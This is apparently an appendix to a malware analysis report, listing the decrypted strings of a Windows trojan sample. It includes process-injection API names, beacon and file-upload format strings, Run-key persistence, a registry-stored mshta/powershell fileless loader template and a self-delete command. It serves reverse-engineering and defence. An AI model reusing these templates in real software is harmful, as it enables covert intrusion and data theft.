Appendix B: Full Dump of Decrypted Strings

invalidcert
overridelink
%08X-%04X-%04X-%04X-%08X%04X
KERNEL32.DLL
uValue
NTDLL.DLL
GetStringValue
ZwWriteVirtualMemory
LoadLibraryA
GetDWORDValue
CreateKey
hDefKey
ReturnValue
root\\default
ZwWow64QueryInformationProcess64
StdRegProv
Mozilla/5.0 (Windows NT %u.%u%s; rv:74.0) Gecko/20100101 Firefox/74.0
SetStringValue
LdrUnregisterDllNotification
SetDWORDValue
GetBinaryValue
SetBinaryValue
version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
&action=%08x
DeleteKey
sSubKeyName
sValueName
&time=%lu
sValue
Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"
__ProviderArchitecture
{%08X-%04X-%04X-%04X-%08X%04X}
ZwSetContextThread
--%s\r\n%s\r\n\r\n
--%s--\r\n
ZwWow64ReadVirtualMemory64
ZwProtectVirtualMemory
%02u-%02u-%02u %02u:%02u:%02u\r\n
ZwGetContextThread
https://
%systemroot%\\system32\\control.exe /?
kernelbase
NTDSAPI.DLL
LdrRegisterDllNotification
S:(ML;;NW;;;LW)D:(A;;0x1fffff;;;WD)(A;;0x1fffff;;;S-1-15-2-1)(A;;0x1fffff;;;S-1-15-3-1)
%c%02X

%s=%s&
soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
&uptime=%u
size=%u&hash=0x%08x
&system=%s
http://
%u%u%u
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name=\"upload_file\"; filename=\"%.4u.%lu\"
Content-Type: application/octet-stream
CreateProcessA
RtlNtStatusToDosError
ZwMapViewOfSection
ZwCreateSection
ZwUnmapViewOfSection
ZwClose
.jpeg
Software\\AppDataLow\\Software\\Microsoft\\
%systemroot%\\system32\\c_1252.nls
\\*.dll
Local\\
Client32
Client64
Global\\
0123456789ABCDEF
Software\\Microsoft\\Windows\\CurrentVersion\\Run
&ip=%s
rundll32 \"%s\",%S
&os=%s
%u.%u_%u_%u_x%u
&tor=1
Client
System
%08x%08x%08x%08x
runas
cmd.exe
/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"
/C \"copy \"%s\" \"%s\" /y && \"%s\" \"%s\"\"
Microsoft
@CODE@
/C ping localhost -n %u && del \"%s\"
SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion
InstallDate
%S=new ActiveXObject('WScript.Shell');%S.Run('powershell iex ([System.Text.Encoding]::ASCII.GetString((gp \"%S:\\%S\").%s))',0,0);
IE8RunOnceLastShown_TIMESTAMP

mshta \"about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('%S\\\\%S\\\\%s'));if(!window.flag)close()</script>\"
Host:
SOFTWARE\\Microsoft\\Internet Explorer\\Main
Check_Associations
IE10RunOnceLastShown_TIMESTAMP